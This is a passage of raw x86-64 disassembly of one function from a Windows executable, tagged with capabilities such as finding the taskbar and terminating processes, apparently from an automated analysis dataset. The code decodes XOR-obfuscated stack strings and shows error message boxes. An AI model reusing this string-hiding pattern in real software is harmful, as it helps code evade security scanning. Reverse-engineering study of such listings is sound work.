Function at 0x140034aa0
Capabilities:
Find taskbar
Get common file path
Terminate process

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0xa5c0]
mov eax, 0xa6c0
call fcn.1401089d0
sub rsp, rax
movaps xmmword [rsp + 0xa6b0], xmm6
movaps xmmword [rsp + 0xa6a0], xmm7
movaps xmmword [rsp + 0xa690], xmm8
movaps xmmword [rsp + 0xa680], xmm9
mov rax, qword [0x1401ffe18]
xor rax, rsp
mov qword [rbp + 0xa570], rax
mov qword [rbp + 0x470], rdx
mov r14, rcx
movabs rax, 0x18a72f118e335fc9
mov qword [rbp - 0x50], rax
movabs rax, 0xfa780d3f943d10b
mov qword [rbp - 0x48], rax
movabs rax, 0x1d707d6f709151da
mov qword [rbp - 0x40], rax
movabs rcx, 0xdea07b6f5d2816d
mov qword [rbp - 0x38], rcx
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x18c92f638e565fa2
mov qword [rbp - 0x10], rax
movabs rax, 0xf9580e0f92fd16e
mov qword [rbp - 8], rax
movabs rax, 0x1d1c7d0370f551f4
mov qword [rbp], rax
mov qword [rbp + 8], rcx
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp - 0x10]
pxor xmm0, xmmword [rbp - 0x50]
movdqa xmmword [rbp + 0x16b0], xmm0
movdqa xmm1, xmmword [rbp - 0x40]
pxor xmm1, xmmword [rbp]
movdqa xmmword [rbp + 0x16c0], xmm1
pxor xmm4, xmm2
movdqa xmmword [rbp + 0x16d0], xmm4
pxor xmm3, xmm5
movdqa xmmword [rbp + 0x16e0], xmm3
lea rax, [rbp + 0x6790]
lea rcx, [rbp + 0x16b0]
mov ebx, 3
mov edx, ebx
nop word [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x140034bd0
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
lea r8, [rbp + 0x6790]
mov rdx, r14
lea rcx, [rbp + 0x7ce8]
call fcn.140051d50
mov r12, qword [rax + 0x18]
xorps xmm4, xmm4
xorps xmm5, xmm5
xorps xmm2, xmm2
xorps xmm3, xmm3
pxor xmm5, xmm3
movdqa xmmword [rbp + 0xa0], xmm5
test r12, r12
jne 0x140034dfd
movabs rax, 0xb861efc09f29a9a
mov qword [rbp + 0xa040], rax
movabs rax, 0x74bf9dc7655486c6
mov qword [rbp + 0xa048], rax
movabs rax, 0x1ff392ea7fa671c4
mov qword [rbp + 0xa050], rax
movabs rax, 0x70b3884c1d5f158e
mov qword [rbp + 0xa058], rax
movabs rax, 0x39b572996780fff1
mov qword [rbp + 0xa080], rax
movabs rax, 0x2f9fb0e70938e2e8
mov qword [rbp + 0xa088], rax
movabs rax, 0x7186fdac5fd21e8a
mov qword [rbp + 0xa090], rax
movabs rax, 0x70b3884c1d5f48ea
mov qword [rbp + 0xa098], rax
movdqa xmm0, xmmword [rbp + 0xa040]
pxor xmm0, xmmword [rbp + 0xa080]
movdqa xmmword [rbp + 0x70], xmm0
movdqa xmm1, xmmword [rbp + 0xa050]
pxor xmm1, xmmword [rbp + 0xa090]
movdqa xmmword [rbp + 0x80], xmm1
pxor xmm4, xmm2
movdqa xmmword [rbp + 0x90], xmm4
lea rax, [rbp + 0x6e10]
lea rcx, [rbp + 0x70]
nop word [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rbx, 1
jne 0x140034d40
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x6e10]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor al, al
mov rcx, qword [rbp + 0xa570]
xor rcx, rsp
call fcn.140108a30
lea r11, [rsp + 0xa6c0]
mov rbx, qword [r11 + 0x50]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
movabs rax, 0x1eae3886fb7010d
mov qword [rbp + 0xa040], rax
movabs rax, 0x5fdbe6c4ec1c26
mov qword [rbp + 0xa048], rax
movabs rax, 0x86828670ede9aab
mov qword [rbp + 0xa050], rax
movabs rcx, 0xd75a7028911d20b
mov qword [rbp + 0xa058], rcx
movabs rax, 0x19ee3fa6fd40178
mov qword [rbp + 0xa080], rax
movabs rax, 0x3adb95c48d1c44
mov qword [rbp + 0xa088], rax
movabs rax, 0x804280b0eba9a85
mov qword [rbp + 0xa090], rax
mov qword [rbp + 0xa098], rcx
movdqa xmm0, xmmword [rbp + 0xa040]
pxor xmm0, xmmword [rbp + 0xa080]
movdqa xmmword [rbp + 0x70], xmm0
movdqa xmm1, xmmword [rbp + 0xa090]
pxor xmm1, xmmword [rbp + 0xa050]
movdqa xmmword [rbp + 0x80], xmm1
pxor xmm2, xmm4
movdqa xmmword [rbp + 0x90], xmm2
lea rax, [rbp + 0x6930]
lea rcx, [rbp + 0x70]
mov rdx, rbx
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x140034ec2
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
lea r8, [rbp + 0x6930]
mov rdx, r14
lea rcx, [rbp + 0x8120]
call fcn.140051d50
mov rax, qword [rax + 0x18]
mov qword [rsp + 0x30], rax
xorps xmm4, xmm4
xorps xmm5, xmm5
xorps xmm2, xmm2
xorps xmm3, xmm3
test rax, rax
jne 0x1400350fe
movabs rsi, 0x1fffffffe0000000
mov qword [rbp + 0xa000], rsi
movabs rax, 0xe00000002000c314
mov qword [rbp + 0xa008], rax
mov qword [rbp + 0xa010], rsi
mov qword [rbp + 0xa018], rax
movdqa xmm0, xmmword [rbp + 0xa000]
pxor xmm0, xmmword [rbp + 0xa010]
movdqa xmmword [rbp + 0x5b0], xmm0
movabs rax, 0x14bd6e0e5e5cc2e1
mov qword [rbp + 0xa040], rax
movabs rax, 0x33ef2f55558005ac
mov qword [rbp + 0xa048], rax
movabs rax, 0xefdcd4b389c0856
mov qword [rbp + 0xa050], rax
movabs rax, 0x61a61bd34e4dd800
mov qword [rbp + 0xa058], rax
movabs rax, 0x71ce0f6c2a2ea194
mov qword [rbp + 0xa080], rax
movabs rax, 0x68cf027539ec6182
mov qword [rbp + 0xa088], rax
movabs rax, 0x6088a20d18e86718
mov qword [rbp + 0xa090], rax
movabs rax, 0x61a61bd34e4d8564
mov qword [rbp + 0xa098], rax
movdqa xmm0, xmmword [rbp + 0xa040]
pxor xmm0, xmmword [rbp + 0xa080]
movdqa xmmword [rbp + 0x70], xmm0
movdqa xmm1, xmmword [rbp + 0xa050]
pxor xmm1, xmmword [rbp + 0xa090]
movdqa xmmword [rbp + 0x80], xmm1
pxor xmm4, xmm2
movdqa xmmword [rbp + 0x90], xmm4
pxor xmm5, xmm3
movdqa xmmword [rbp + 0xa0], xmm5
lea rax, [rbp + 0x6fc0]
lea rcx, [rbp + 0x70]
nop word [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rbx, 1
jne 0x140035080
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
xor r9d, r9d
lea r8, [rbp + 0x5b0]
lea rdx, [rbp + 0x6fc0]
jmp 0x140034db5
movabs rax, 0x141ba41272e35060
mov qword [rbp + 0xa040], rax
movabs rax, 0xb03b49d3edfb81d
mov qword [rbp + 0xa048], rax
movabs rax, 0xcdb79fb6d
mov qword [rbp + 0xa050], rax
movabs rcx, 0x5bee5cc45ce
mov qword [rbp + 0xa058], rcx
movabs rax, 0x1469a47772905015
mov qword [rbp + 0xa080], rax
movabs rax, 0xb67b4b33eedb82e
mov qword [rbp + 0xa088], rax
movabs rax, 0xcdb15fb01
mov qword [rbp + 0xa090], rax
mov qword [rbp + 0xa098], rcx
movdqa xmm0, xmmword [rbp + 0xa080]
pxor xmm0, xmmword [rbp + 0xa040]
movdqa xmmword [rbp + 0x70], xmm0
movdqa xmm1, xmmword [rbp + 0xa090]
pxor xmm1, xmmword [rbp + 0xa050]
movdqa xmmword [rbp + 0x80], xmm1
pxor xmm2, xmm4
movdqa xmmword [rbp + 0x90], xmm2
pxor xmm5, xmm3
movdqa xmmword [rbp + 0xa0], xmm5
lea rax, [rbp + 0x54c0]
lea rcx, [rbp + 0x70]
mov r15d, 2
mov edx, r15d
nop word [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x1400351e0
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
lea r8, [rbp + 0x54c0]
mov rdx, r14
lea rcx, [rbp + 0x8558]
call fcn.140051d50
mov rcx, qword [rax + 0x18]
mov qword [rbp + 0x460], rcx
xorps xmm4, xmm4
xorps xmm5, xmm5
xorps xmm2, xmm2
xorps xmm3, xmm3
test rcx, rcx
jne 0x14003541e
movabs rsi, 0x1fffffffe0000000
mov qword [rbp + 0xa000], rsi
movabs rax, 0xe00000002000f937
mov qword [rbp + 0xa008], rax
mov qword [rbp + 0xa010], rsi
mov qword [rbp + 0xa018], rax
movdqa xmm0, xmmword [rbp + 0xa000]
pxor xmm0, xmmword [rbp + 0xa010]
movdqa xmmword [rbp + 0x5c0], xmm0
movabs rax, 0x162d63ebd18076e2
mov qword [rbp + 0xa040], rax
movabs rax, 0xc2281478d94524a
mov qword [rbp + 0xa048], rax
movabs rax, 0x112a55eecb4c1a4c
mov qword [rbp + 0xa050], rax
movabs rcx, 0x4c239cff153b3a8c
mov qword [rbp + 0xa058], rcx
movabs rax, 0x720351d8a3e50597
mov qword [rbp + 0xa080], rax
movabs rax, 0x636cda67a0b43e26
mov qword [rbp + 0xa088], rax
movabs rax, 0x4c4e3b9ba40a3a38
mov qword [rbp + 0xa090], rax
mov qword [rbp + 0xa098], rcx
movdqa xmm0, xmmword [rbp + 0xa040]
pxor xmm0, xmmword [rbp + 0xa080]
movdqa xmmword [rbp + 0x70], xmm0
movdqa xmm1, xmmword [rbp + 0xa050]
pxor xmm1, xmmword [rbp + 0xa090]
movdqa xmmword [rbp + 0x80], xmm1
pxor xmm4, xmm2
movdqa xmmword [rbp + 0x90], xmm4
pxor xmm5, xmm3
movdqa xmmword [rbp + 0xa0], xmm5
lea rax, [rbp + 0x4d70]
lea rcx, [rbp + 0x70]
nop dword [rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rbx, 1
jne 0x1400353b0
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
xor r9d, r9d
lea r8, [rbp + 0x5c0]
lea rdx, [rbp + 0x4d70]
jmp 0x140034db5
movabs rax, 0x1f3b7ce0da5da7f
mov qword [rbp + 0xa040], rax
movabs rax, 0x3c1f5cbe6cab900
mov qword [rbp + 0xa048], rax
movabs rax, 0xa5f373f369a7f
mov qword [rbp + 0xa050], rax
movabs rcx, 0xb6e7bd2d667196f
mov qword [rbp + 0xa058], rcx
movabs rax, 0x190b7a30dd2da1b
mov qword [rbp + 0xa080], rax
movabs rax, 0x3eff5aee6b8b96f
mov qword [rbp + 0xa088], rax
movabs rax, 0xa5f5b3f5a9a1b
mov qword [rbp + 0xa090], rax
mov qword [rbp + 0xa098], rcx
movdqa xmm0, xmmword [rbp + 0xa040]
pxor xmm0, xmmword [rbp + 0xa080]
movdqa xmmword [rbp + 0x70], xmm0
movdqa xmm1, xmmword [rbp + 0xa090]
pxor xmm1, xmmword [rbp + 0xa050]
movdqa xmmword [rbp + 0x80], xmm1
pxor xmm2, xmm4
movdqa xmmword [rbp + 0x90], xmm2
pxor xmm3, xmm5
movdqa xmmword [rbp + 0xa0], xmm3
lea rax, [rbp + 0x5e90]
lea rcx, [rbp + 0x70]
mov rdx, rbx
nop
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x1400354f0
lea r8, [rbp + 0x5e90]
mov rdx, r14
lea rcx, [rbp + 0x8990]
call fcn.140051d50
mov rax, qword [rax + 0x18]
mov qword [rbp - 0x60], rax
xorps xmm4, xmm4
xorps xmm5, xmm5
xorps xmm2, xmm2
xorps xmm3, xmm3
test rax, rax
jne 0x140035716
movabs rsi, 0x1fffffffe0000000
mov qword [rbp + 0xa000], rsi
movabs rax, 0xe00000002000ed7f
mov qword [rbp + 0xa008], rax
mov qword [rbp + 0xa010], rsi
mov qword [rbp + 0xa018], rax
movdqa xmm0, xmmword [rbp + 0xa000]
pxor xmm0, xmmword [rbp + 0xa010]
movdqa xmmword [rbp + 0x5d0], xmm0
movabs rax, 0xed16bdb22f486de
mov qword [rbp + 0xa040], rax
movabs rax, 0x71ea05a479998b61
mov qword [rbp + 0xa048], rax
movabs rax, 0x182b33c49d66844
mov qword [rbp + 0xa050], rax
movabs rax, 0x722e6f998cc60298
mov qword [rbp + 0xa058], rax
movabs rax, 0x20b419b44199f1ba
mov qword [rbp + 0xa080], rax
movabs rax, 0x3fb1258959f5e705
mov qword [rbp + 0xa088], rax
movabs rax, 0x65ecc6530ff61c2b
mov qword [rbp + 0xa090], rax
movabs rax, 0x722e6f998cc602c5
mov qword [rbp + 0xa098], rax
movdqa xmm0, xmmword [rbp + 0xa080]
pxor xmm0, xmmword [rbp + 0xa040]
movdqa xmmword [rbp + 0x70], xmm0
movdqa xmm1, xmmword [rbp + 0xa090]
pxor xmm1, xmmword [rbp + 0xa050]
movdqa xmmword [rbp + 0x80], xmm1
pxor xmm2, xmm4
movdqa xmmword [rbp + 0x90], xmm2
pxor xmm3, xmm5
movdqa xmmword [rbp + 0xa0], xmm3
lea rax, [rbp + 0x6ad0]
lea rcx, [rbp + 0x70]
nop word [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rbx, 1
jne 0x1400356a0
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
xor r9d, r9d
lea r8, [rbp + 0x5d0]
lea rdx, [rbp + 0x6ad0]
jmp 0x140034db5
movabs rax, 0x1477f9e6174664fd
mov qword [rbp + 0xa040], rax
movabs rax, 0x13e50a0e204a8bea
mov qword [rbp + 0xa048], rax
movabs rax, 0xae5a6059b
mov qword [rbp + 0xa050], rax
movabs rcx, 0x5bd0f608ca3
mov qword [rbp + 0xa058], rcx
movabs rax, 0x1444f988172f648a
mov qword [rbp + 0xa080], rax
movabs rax, 0x13810a20203f8bd8
mov qword [rbp + 0xa088], rax
movabs rax, 0xae5ca05f7
mov qword [rbp + 0xa090], rax
mov qword [rbp + 0xa098], rcx
movdqa xmm0, xmmword [rbp + 0xa040]
pxor xmm0, xmmword [rbp + 0xa080]
movdqa xmmword [rbp + 0x70], xmm0
movdqa xmm1, xmmword [rbp + 0xa090]
pxor xmm1, xmmword [rbp + 0xa050]
movdqa xmmword [rbp + 0x80], xmm1
pxor xmm2, xmm4
movdqa xmmword [rbp + 0x90], xmm2
pxor xmm3, xmm5
movdqa xmmword [rbp + 0xa0], xmm3
lea rax, [rbp + 0x5620]
lea rcx, [rbp + 0x70]
mov rdx, r15
nop word [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x1400357f0
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
lea r8, [rbp + 0x5620]
mov rdx, r14
lea rcx, [rbp + 0x8dc8]
call fcn.140051d50
xorps xmm4, xmm4
xorps xmm5, xmm5
xorps xmm2, xmm2
xorps xmm3, xmm3
cmp qword [rax + 0x18], 0
jne 0x140035a2e
movabs rsi, 0x1fffffffe0000000
mov qword [rbp + 0xa000], rsi
movabs rax, 0xe0000000200120cf
mov qword [rbp + 0xa008], rax
mov qword [rbp + 0xa010], rsi
mov qword [rbp + 0xa018], rax
movdqa xmm0, xmmword [rbp + 0xa000]
pxor xmm0, xmmword [rbp + 0xa010]
movdqa xmmword [rbp + 0x5e0], xmm0
movabs rax, 0x11967edf489b2390
mov qword [rbp + 0xa040], rax
movabs rax, 0x1030949a28953b55
mov qword [rbp + 0xa048], rax
movabs rax, 0x1df8b75938169cdb
mov qword [rbp + 0xa050], rax
movabs rcx, 0x567719325a10befb
mov qword [rbp + 0xa058], rcx
movabs rax, 0x75b80bed7bf54ae7
mov qword [rbp + 0xa080], rax
movabs rax, 0x7f7ecfba05b55739
mov qword [rbp + 0xa088], rax
movabs rax, 0x409cd92c5750bcaf
mov qword [rbp + 0xa090], rax
mov qword [rbp + 0xa098], rcx
movdqa xmm0, xmmword [rbp + 0xa080]
pxor xmm0, xmmword [rbp + 0xa040]
movdqa xmmword [rbp + 0x70], xmm0
movdqa xmm1, xmmword [rbp + 0xa090]
pxor xmm1, xmmword [rbp + 0xa050]
movdqa xmmword [rbp + 0x80], xmm1
pxor xmm2, xmm4
movdqa xmmword [rbp + 0x90], xmm2
pxor xmm3, xmm5
movdqa xmmword [rbp + 0xa0], xmm3
lea rax, [rbp + 0x4f00]
lea rcx, [rbp + 0x70]
nop dword [rax]
nop word [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rbx, 1
jne 0x1400359c0
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
xor r9d, r9d
lea r8, [rbp + 0x5e0]
lea rdx, [rbp + 0x4f00]
jmp 0x140034db5
movabs rax, 0xd214be7ee5f8322
mov qword [rbp + 0xa040], rax
movabs rax, 0x1359a7dc059f215e
mov qword [rbp + 0xa048], rax
movabs rax, 0x1fffffffe00ffd8f
mov qword [rbp + 0xa050], rax
movabs rcx, 0xe00000001ff12906
mov qword [rbp + 0xa058], rcx
movabs rax, 0xd124b8eee3b8365
mov qword [rbp + 0xa080], rax
movabs rax, 0x1335a7b805b1216c
mov qword [rbp + 0xa088], rax
movabs rax, 0x1fffffffe00ffde3
mov qword [rbp + 0xa090], rax
mov qword [rbp + 0xa098], rcx
movdqa xmm0, xmmword [rbp + 0xa080]
pxor xmm0, xmmword [rbp + 0xa040]
movdqa xmmword [rbp + 0x70], xmm0
movdqa xmm1, xmmword [rbp + 0xa050]
pxor xmm1, xmmword [rbp + 0xa090]
movdqa xmmword [rbp + 0x80], xmm1
pxor xmm4, xmm2
movdqa xmmword [rbp + 0x90], xmm4
pxor xmm3, xmm5
movdqa xmmword [rbp + 0xa0], xmm3
lea rax, [rbp + 0x4970]
lea rcx, [rbp + 0x70]
mov rdx, r15
nop
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x140035b00
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
lea r8, [rbp + 0x4970]
mov rdx, r14
lea rcx, [rbp + 0x9200]
call fcn.140051d50
mov r13, qword [rax + 0x18]
xorps xmm4, xmm4
xorps xmm5, xmm5
xorps xmm2, xmm2
xorps xmm3, xmm3
test r13, r13
jne 0x140035d28
movabs rsi, 0x1fffffffe0000000
mov qword [rbp + 0xa000], rsi
movabs rax, 0xe000000020012f64
mov qword [rbp + 0xa008], rax
mov qword [rbp + 0xa010], rsi
mov qword [rbp + 0xa018], rax
movdqa xmm0, xmmword [rbp + 0xa000]
pxor xmm0, xmmword [rbp + 0xa010]
movdqa xmmword [rbp + 0x5f0], xmm0
movabs rax, 0xf61d1c337ff3308
mov qword [rbp + 0xa040], rax
movabs rax, 0x1ce3d07a576ace34
mov qword [rbp + 0xa048], rax
movabs rax, 0xe75dfcd031091a8
mov qword [rbp + 0xa050], rax
movabs rcx, 0x17679615f8d05c36
mov qword [rbp + 0xa058], rcx
movabs rax, 0x6305fff10496574f
mov qword [rbp + 0xa080], rax
movabs rax, 0x688c9e217747ee58
mov qword [rbp + 0xa088], rax
movabs rax, 0xe28bba3767fd788
mov qword [rbp + 0xa090], rax
mov qword [rbp + 0xa098], rcx
movdqa xmm0, xmmword [rbp + 0xa040]
pxor xmm0, xmmword [rbp + 0xa080]
movdqa xmmword [rbp + 0x70], xmm0
movdqa xmm1, xmmword [rbp + 0xa050]
pxor xmm1, xmmword [rbp + 0xa090]
movdqa xmmword [rbp + 0x80], xmm1
pxor xmm4, xmm2
movdqa xmmword [rbp + 0x90], xmm4
pxor xmm5, xmm3
movdqa xmmword [rbp + 0xa0], xmm5
lea rax, [rbp + 0x6010]
lea rcx, [rbp + 0x70]
nop word [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
